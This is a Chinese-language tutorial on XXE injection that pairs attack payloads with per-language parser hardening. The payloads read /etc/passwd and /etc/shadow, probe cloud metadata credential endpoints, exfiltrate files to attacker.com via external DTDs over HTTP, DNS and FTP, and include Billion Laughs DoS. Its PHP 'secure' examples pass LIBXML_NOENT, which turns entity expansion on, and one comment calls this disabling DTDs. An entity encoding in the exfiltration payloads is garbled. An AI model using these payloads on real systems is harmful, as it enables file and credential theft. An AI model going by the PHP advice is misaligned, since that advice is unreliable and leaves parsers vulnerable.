XXE 外部实体注入与 XML 安全
概述
XXE(XML External Entity Injection,XML 外部实体注入)是一种利用 XML 解析器处理外部实体时的安全漏洞,使攻击者能够读取服务器文件系统、发起 SSRF 攻击、执行拒绝服务攻击等。XXE 在 OWASP Top 10 2017 中首次进入榜单并位列第 4 位,在 2021 版中虽被合并到"安全配置错误"类别,但仍是实际渗透测试中频繁出现的高危漏洞。
XXE 的根源在于:XML 规范允许通过 DTD(Document Type Definition,文档类型定义) 声明实体,而低版本或配置不当的 XML 解析器在解析外部实体时,会无条件跟随实体声明中的 URI 去获取资源,这就给攻击者留下了利用空间。
XML 基础与 DTD 声明
XML 基本结构
XML(Extensible Markup Language,可扩展标记语言)是一种用于存储和传输数据的标记语言。一个典型的 XML 文档结构如下:
<?xml version="1.0" encoding="UTF-8"?>
<root>
<user>admin</user>
<password>123456</password>
</root>什么是 DTD
DTD 用于定义 XML 文档的结构、元素、属性和实体。DTD 可以内嵌在 XML 文档中,也可以引用外部 DTD 文件。实体(Entity)是 DTD 中最重要的概念之一,它类似于宏或变量,在解析时会被替换为实际内容。
内部实体声明
内部实体是直接在 DTD 中定义并赋值的实体,解析时直接将实体引用替换为定义的值:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY x "这是内部实体">
]>
<root>&x;</root>上述文档解析后,&x; 会被替换为字符串"这是内部实体"。
外部实体声明
外部实体引用外部文件或资源,解析器会从指定的 URI 读取内容并替换实体引用:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY ext SYSTEM "file:///etc/passwd">
]>
<root>&ext;</root>SYSTEM 关键字后跟的 URI 可以是文件路径、HTTP URL 或 FTP URL。XXE 攻击正是利用了这一特性。
参数实体
参数实体只在 DTD 内部使用,以 % 开头,在 DTD 中被引用时使用 %实体名; 语法。参数实体常用于构造复杂的 DTD 结构或分层引用:
<!DOCTYPE foo [
<!ENTITY % param "参数实体内容">
<!ENTITY normal "引用了参数实体:%param;">
]>
<root>&normal;</root>参数实体在 Blind XXE 攻击中扮演着关键角色,因为可以在外部 DTD 中定义参数实体来构造数据外带通道。
XXE 攻击原理与分类
攻击原理
XXE 攻击的核心机制是:应用程序接收并解析了用户可控的 XML 输入,且 XML 解析器未禁用外部实体解析功能。攻击者在 XML 中嵌入恶意 DTD 实体声明,诱导解析器读取本地文件或发起网络请求,并将结果反映在应用程序的响应中或通过带外通道传出。
攻击分类
| 分类 | 描述 | 利用条件 |
|---|---|---|
| 经典 XXE(In-Band XXE) | 攻击结果可直接在应用程序响应中读取 | 应用程序返回解析后的 XML 内容 |
| Blind XXE(OOB XXE) | 无直接回显,需通过带外通道获取数据 | 解析器可发起 HTTP/DNS/FTP 请求 |
| 报错型 XXE(Error-Based XXE) | 通过错误信息泄露文件内容 | 解析器错误信息中包含实体内容 |
| XXE DoS | 通过实体递归或指数膨胀耗尽服务器资源 | 解析器未限制实体展开深度和数量 |
经典 XXE:读取文件
当应用程序将 XML 解析结果回显到响应中时,攻击者可以直接读取服务器上的任意文件。
利用 file:// 协议读取文件
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>
<username>&xxe;</username>
<password>test</password>
</root>Windows 环境:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///C:/windows/win.ini">
]>
<root>&xxe;</root>读取带特殊字符的文件
当目标文件包含 XML 保留字符(如 <、>、&)时,直接读取会导致 XML 解析错误。此时可以使用 CDATA 或将文件编码为 Base64 后读取。PHP 环境下可利用 PHP 包装器:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
]>
<root>&xxe;</root>利用场景
- 读取
/etc/passwd、/etc/shadow获取系统用户信息 - 读取应用程序配置文件获取数据库连接凭证
- 读取
web.xml、application.yml等应用配置 - 读取 SSH 私钥、SSL 证书等敏感文件
- 读取源代码文件进行代码审计
XXE SSRF 攻击
XXE 不仅可以读取文件,还可以利用 XML 解析器发起服务器端请求,实现 SSRF(Server-Side Request Forgery,服务端请求伪造)。
基本内网探测
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://192.168.1.1/admin">
]>
<root>&xxe;</root>云元数据攻击
在云环境中,可以通过 XXE 访问云服务提供商的元数据接口获取临时凭证:
AWS 元数据:
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">Aliyun 元数据:
<!ENTITY xxe SYSTEM "http://100.100.100.200/latest/meta-data/ram/security-credentials/">端口扫描
通过响应延迟和错误状态,攻击者可以逐个探测内网端口是否开放:
<!ENTITY scan1 SYSTEM "http://192.168.1.1:22">
<!ENTITY scan2 SYSTEM "http://192.168.1.1:80">
<!ENTITY scan3 SYSTEM "http://192.168.1.1:443">如果某端口开放且返回内容能被解析,说明该端口存活;如果连接超时或拒绝,说明端口关闭或不可达。
SSRF 利用链
- 探测内网存活主机和开放端口
- 访问内网应用的管理接口(如 Redis、MySQL、Elasticsearch 等未授权服务)
- 攻击内部路由器的管理接口
- 利用 Docker 远程 API 创建恶意容器
- 访问 Kubernetes API Server 获取 Pod/Secret 信息
Blind XXE 数据外带
当应用程序不返回 XML 解析结果时,经典 XXE 无法直接利用。此时需要使用 Blind XXE(盲注 XXE) 技术,通过带外(OOB,Out-of-Band)通道外带数据。
OOB XXE 基本原理
攻击者在自己的服务器上托管恶意 DTD 文件,利用参数实体发起 HTTP 请求将目标文件内容外带到攻击者服务器:
攻击者服务器上的恶意 DTD(evil.dtd):
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://attacker.com/?data=%file;'>">
%eval;
%exfil;攻击者发送的恶意 XML 请求:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
%dtd;
]>
<root>&exfil;</root>这里的 % 是对 % 的 XML 实体编码,用于在 DTD 内部动态构建参数实体。注意 %file; 在 DTD 中会被替换为 /etc/passwd 的内容,因此最终请求 URL 为 http://attacker.com/?data=文件内容。
通过 HTTP 外带数据
HTTP 外带是最常见的 OOB 方式。攻击者监听自己的 VPS 服务器,等待数据回传:
# 使用 nc 监听
nc -lvp 80
# 或使用 Python 监听
python3 -m http.server 80通过 DNS 外带数据
在某些 HTTP 出口受限的环境中,可以利用 DNS 查询进行数据外带:
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'ftp://%file;.attacker.com/x'>">
%eval;
%exfil;数据被拼接到 DNS 查询域名中,攻击者通过 DNS 日志即可获取数据。每段 DNS 域名有长度限制(约 63 个字符),长文件需要分段外带。
通过 FTP 外带数据
某些 XML 解析器支持 FTP 协议,可以使用 FTP 外带数据,且 FTP 的出站流量往往比 HTTP 更少受到监控:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'ftp://attacker.com/%file;'>">
%eval;
%exfil;攻击者使用 nc 监听 FTP 控制端口(通常为 21),即可捕获文件名中包含的文件内容。
Blind XXE 检测方法
无法确定是否存在 XXE 漏洞时,可以通过带外检测进行确认:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://attacker.com/probe">
%xxe;
]>
<root>test</root>如果攻击者服务器上收到请求,则可以确认目标存在 XXE 漏洞。
XXE DoS 攻击
XXE 可用于拒绝服务攻击,通过构造递归或指数膨胀的实体定义,消耗 XML 解析器的内存和 CPU 资源,导致服务崩溃或响应严重延迟。
Billion Laughs 攻击(指数实体膨胀)
经典的 Billion Laughs 攻击通过实体嵌套定义使输出呈指数级增长:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<root>&lol9;</root>解析过程分析:
lol展开为 1 个 "lol"lol2展开为 10 个&lol;= 10 个 "lol"lol3展开为 10 个&lol2;= 100 个 "lol"- ...
lol9展开为 10 亿个 "lol",内存占用可达数 GB
DTD 递归膨胀
利用实体之间的相互递归引用,使解析器陷入无限循环:
<!DOCTYPE foo [
<!ENTITY % x "<!ENTITY y '&x;'>">
%x;
]>
<root>&y;</root>其他 DoS 方式
- 外部实体大量引用:同时加载数百个远程 DTD 文件,耗尽网络带宽和连接池
- 大文件读取:让解析器读取
/dev/random(Unix)或CON(Windows)等特殊设备文件,导致解析器阻塞 - URL 连接池耗尽:对同一个 URL 发起大量连接请求,耗尽服务器的出站连接池
各语言 XXE 防御
Java 防御
Java 中不同 XML 解析接口的防御配置方式不同,最常用的是 DocumentBuilderFactory:
DocumentBuilderFactory(SAX/DOM 解析)
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
// 禁用 DTD(完全禁用,彻底防御但可能影响功能)
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
// 如果业务需要 DTD,至少禁用外部实体
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
dbf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
// 禁用外部连接
dbf.setXIncludeAware(false);
dbf.setExpandEntityReferences(false);SAXParser
SAXParserFactory spf = SAXParserFactory.newInstance();
spf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
spf.setFeature("http://xml.org/sax/features/external-general-entities", false);
spf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);XMLInputFactory(StAX 解析)
XMLInputFactory xif = XMLInputFactory.newFactory();
xif.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false);
xif.setProperty(XMLInputFactory.SUPPORT_DTD, false);Python 防御
Python 标准库中的 xml.etree.ElementTree 在 Python 3.8+ 中已默认禁用外部实体解析,但建议使用专门的防御库:
使用 defusedxml(推荐)
from defusedxml import ElementTree as ET
from defusedxml import minidom
from defusedxml import sax
# 安全解析 XML
tree = ET.parse('untrusted.xml')
root = tree.getroot()defusedxml 是 Python 官方推荐的安全 XML 解析库,它会主动拒绝包含外部实体和 DTD 递归膨胀的恶意 XML,同时会限制实体展开数量和嵌套深度。在 requirements.txt 中添加:
defusedxml>=0.7.1手动禁用外部实体
from xml.etree.ElementTree import XMLParser, parse
# Python 3.8+ 默认已禁止外部实体
# Python 3.7- 需手动处理PHP 防御
PHP 的 simplexml_load_* 和 DOMDocument 在较新版本中默认配置已有改善,但仍需显式设置:
libxml_disable_entity_loader(PHP 7.x 及以下)
<?php
// 禁用外部实体加载
libxml_disable_entity_loader(true);
// 安全加载 XML
$xml = file_get_contents('untrusted.xml');
$doc = simplexml_load_string($xml, 'SimpleXMLElement', LIBXML_NOENT);
// 使用 DOMDocument 时
$dom = new DOMDocument();
$dom->loadXML($xml, LIBXML_NOENT | LIBXML_NONET);
?>PHP 8.0+ 注意事项
PHP 8.0 及以上版本移除了 libxml_disable_entity_loader() 函数,因为默认解析器 libxml2 >= 2.9.0 已默认禁止外部实体。防御重点变为使用正确的 LIBXML_* 标志:
<?php
// PHP 8.0+ 安全的解析方式
$xml = file_get_contents('untrusted.xml');
// 使用 LIBXML_NONET 禁止网络访问
$doc = simplexml_load_string($xml, 'SimpleXMLElement', LIBXML_NONET);
// 完全禁用 DTD
$doc = simplexml_load_string($xml, 'SimpleXMLElement', LIBXML_NOENT | LIBXML_NONET);
?>C# (.NET) 防御
.NET Framework 4.5.2+ 及 .NET Core 中,XmlDocument 默认已禁用 DTD。对于旧版本,需要手动配置:
// .NET Framework 4.5.2+ 安全方式
XmlDocument doc = new XmlDocument();
doc.XmlResolver = null; // 禁止解析外部资源
doc.LoadXml(xmlString);
// 使用 XmlReader(推荐,更安全)
XmlReaderSettings settings = new XmlReaderSettings();
settings.DtdProcessing = DtdProcessing.Prohibit; // 禁止 DTD
settings.XmlResolver = null; // 禁止外部资源
using (XmlReader reader = XmlReader.Create(new StringReader(xmlString), settings))
{
// 安全地读取 XML
}Node.js 防御
Node.js 使用 libxmljs 或 xmldom 时需注意配置:
// 使用 libxmljs(推荐)
const libxml = require('libxmljs');
const xml = '<?xml version="1.0"?>...';
const doc = libxml.parseXml(xml, {
noent: false, // 不展开实体
nonet: true, // 禁止网络访问
dtdload: false, // 不加载 DTD
dtdvalid: false, // 不验证 DTD
});
// 使用 xmldom(需注意默认配置)
const { DOMParser } = require('xmldom');
const doc = new DOMParser({
errorHandler: { warning: () => {} },
locator: {},
// xmldom 0.6.0+ 支持
// externalEntityHandler: null
}).parseFromString(xml);最佳实践
1. 禁用 DTD(最彻底的防御)
如果业务场景不需要 DTD 功能,最安全的做法是完全禁用 DTD。几乎所有 XML 解析器都支持此配置:
// Java
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);# Python (defusedxml)
from defusedxml import ElementTree as ET
# defusedxml 默认拒绝所有 DTD// C#
settings.DtdProcessing = DtdProcessing.Prohibit;2. 禁用外部实体
如果业务确实需要 DTD,则至少禁用外部实体解析:
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);3. 使用 JSON 替代 XML
在大多数 API 交互场景中,JSON 比 XML 更安全、更轻量。JSON 没有实体、DTD 等复杂特性,天然不受 XXE 影响:
// JSON 格式,无实体注入风险
{
"username": "admin",
"password": "123456"
}迁移建议:
- 新开发的 API 优先使用 JSON 作为数据交换格式
- 旧系统逐步将 XML 接口迁移至 JSON
- 确实需要 XML 的场景做好防御配置
4. 输入验证与过滤
- 对 XML 内容进行白名单校验,拒绝包含
<!DOCTYPE>和<!ENTITY>声明的输入(仅作为辅助手段,不可单独依赖) - 限制 XML 文档大小,防止 DoS 攻击
- 限制 XML 解析的嵌套深度和实体展开数量
5. 最小权限原则
- XML 解析器以最低权限用户运行
- 限制解析器所在服务器的出站网络访问
- 敏感文件权限严格限制,使解析器无法读取
6. 保持库版本更新
各语言 XML 解析库的新版本通常默认配置更安全:
| 语言 | 安全版本 | 说明 |
|---|---|---|
| Java | JDK 8u20+ | 默认对外部实体处理更严格 |
| Python | 3.8+ | 默认禁用外部实体 |
| PHP | 8.0+ (libxml2 >= 2.9.0) | 默认禁用外部实体 |
| .NET | Framework 4.5.2+ / .NET Core | 默认禁用 DTD |
| libxml2 | >= 2.9.0 | 默认不加载外部实体 |
总结
XXE 漏洞的根本原因是 XML 解析器在处理包含恶意 DTD 声明的 XML 文档时,未对实体替换和外部资源加载进行合理限制。攻击者可以通过 XXE 读取服务器任意文件、发起 SSRF 内网攻击、外带敏感数据,甚至导致拒绝服务。
防御 XXE 的核心原则是 "默认拒绝":不需要 DTD 就完全禁用 DTD;需要 DTD 就禁用外部实体;能使用 JSON 就避免使用 XML。同时保持解析器库的版本更新,遵循最小权限原则,形成纵深防御体系。
在安全开发生命周期(SDL)中,应将 XXE 防御检查纳入代码审查和自动化安全测试流程,确保所有 XML 解析操作都经过了安全配置,从源头杜绝 XXE 漏洞的产生。